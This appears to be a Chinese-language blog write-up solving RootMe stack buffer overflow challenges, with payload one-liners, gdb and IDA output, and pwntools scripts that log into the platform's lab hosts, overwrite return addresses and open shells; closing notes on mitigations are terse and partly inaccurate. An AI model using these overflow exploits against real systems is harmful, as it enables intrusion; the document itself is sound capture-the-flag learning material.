RootMe

emmm…大师傅们推荐的学pwn的好地方

ELF x86 - Stack buffer overflow basic 1

非常基础的栈溢出,溢出四位

payload构造:

(python -c ‘print “a”*40 + “\xef\xbe\xad\xde”‘; /bin/echo cat .passwd)|./ch13

python -c ‘print “a”*40 + “\xef\xbe\xad\xde”+”\n”‘

管道:

ls -a: –all 列出目录下的所有文件,包括以 . 开头的隐含文件

pwd: 查看路径

pwntools

1
2
3
4
5
6
from pwn import *
s=ssh(host='challenge02.root-me.org',port=2222,user='app-systeme-ch13',password='app-systeme-ch13')
p=s.process('./ch13')
payload='a'*40+'\xef\xbe\xad\xde'
p.sendline(payload)
p.interactive()

ELF x86 - Stack buffer overflow basic 2

gdb查看函数地址:

1
2
gdb$ p shell
$1 = {<text variable, no debug info>} 0x8048464 <shell>

payload构造:

(python -c ‘print “a”*128 +”\x64\x84\x04\x08”‘; /bin/echo cat .passwd)|./ch15

1
2
3
4
5
6
from pwn import *
s=ssh(host='challenge02.root-me.org',port=2222,user='app-systeme-ch15',password='app-systeme-ch15')
p=s.process('./ch15')
payload='a'*128+'\x64\x84\x04\x08'
p.sendline(payload)
p.interactive()

ELF x86 - Stack buffer overflow basic 3

fflush(stdout)

在printf()函数后使用fflush(stdout)函数,先将即将输出的内容输出,然后,再将输出缓冲区清空。

‘\b’: 退格(BS) ,将当前位置移到前一列

‘\a’: 响铃(BEL)

‘\t’: 水平制表(HT) (跳到下一个TAB位置)

1
2
3
4
5
6
from pwn import *
s=ssh(host='challenge02.root-me.org',port=2222,user='app-systeme-ch16',password='app-systeme-ch16')
p=s.process('./ch16')
payload='\x08'*4+'\xbc\xfa\xff\xbf'
p.sendline(payload)
p.interactive()

ELF x64 - Stack buffer overflow - basic

先编译一下,拖到IDA里面看到栈帧的距离

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+10h] [rbp-110h]
int v5; // [rsp+11Ch] [rbp-4h]
_isoc99_scanf("%s", &s, envp);
v5 = strlen(&s);
printf("Hello %s\n", &s, argv);
return 0;
}

rbp/ebp: 帧指针

在i386中,一个函数的活动记录用ebp和esp这两个寄存器划定范围。esp寄存器始终指向栈的顶部,同时也就指向了当前函数的活动记录的顶部。而相对的,ebp寄存器指向了函数活动记录的一个固定位置,ebp寄存器又被称为帧指针(Frame Pointer)。(位于返回地址(ebp-4)之后,Old ebp之前)

(摘自程序员的自我修养)

感觉没有64位寄存器什么关系,直接压栈上就好了…

0x110+8=280,

接着用gdb找到callMeMaybe()的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
gdb$ p callMeMaybe
$2 = {<text variable, no debug info>} 0x4006cd <callMeMaybe>
gdb$ disassemble 0x4006cd
Dump of assembler code for function callMeMaybe:
0x00000000004006cd <+0>: push rbp
0x00000000004006ce <+1>: mov rbp,rsp
0x00000000004006d1 <+4>: push rbx
0x00000000004006d2 <+5>: sub rsp,0x8
0x00000000004006d6 <+9>: call 0x400590 <geteuid@plt>
0x00000000004006db <+14>: mov ebx,eax
0x00000000004006dd <+16>: call 0x400590 <geteuid@plt>
0x00000000004006e2 <+21>: mov esi,ebx
0x00000000004006e4 <+23>: mov edi,eax
0x00000000004006e6 <+25>: call 0x4005c0 <setreuid@plt>
0x00000000004006eb <+30>: mov edi,0x4007e4
0x00000000004006f0 <+35>: call 0x400570 <system@plt>
0x00000000004006f5 <+40>: add rsp,0x8
0x00000000004006f9 <+44>: pop rbx
0x00000000004006fa <+45>: pop rbp
0x00000000004006fb <+46>: ret
End of assembler dump.

接着构造payload就好咯

1
2
3
4
5
6
7
8
9
from pwn import *
s=ssh(
host='challenge03.root-me.org',port=2223,
user='app-systeme-ch35',password='app-systeme-ch35'
)
p=s.process('./ch35')
payload='a'*280+'\x00\x00\x00\x00\x00\x40\x06\xcd'[::-1]
p.sendline(payload)
p.interactive()

ELF x86 - Stack buffer overflow basic 4

getenv(): 获得环境变量中的内容

call $+5

pop eax 获得当前函数的执行地址

ASLR 栈和堆地址随机

NX/DEP 栈不可读写

RELRO 防御全开got表不可改

CANARY 栈溢出保护 泄露CANARY

PIE

rop rax决定用什么系统函数

rsp 决定获得什么数据

eip决定程序

rsi栈顶

posix标准下的格式化

坚持原创技术分享,您的支持将鼓励我继续创作!